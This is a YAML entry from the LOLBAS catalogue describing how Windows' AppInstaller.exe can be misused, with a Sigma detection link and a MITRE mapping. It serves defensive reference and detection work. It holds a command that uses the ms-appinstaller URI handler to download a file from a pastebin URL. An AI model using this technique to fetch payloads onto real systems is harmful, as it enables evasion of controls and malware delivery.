LOLBAS/yml/OSBinaries/AppInstaller.yml

---
Name: AppInstaller.exe
Description: Tool used for installation of AppX/MSIX applications on Windows 10
Author: 'Wade Hickey'
Created: 2020-12-02
Commands:
  - Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw
    Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>
    Usecase: Download file from Internet
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
Full_Path:
  - Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml
Resources:
  - Link: https://twitter.com/notwhickey/status/1333900137232523264
Acknowledgement:
  - Person: Wade Hickey
    Handle: '@notwhickey'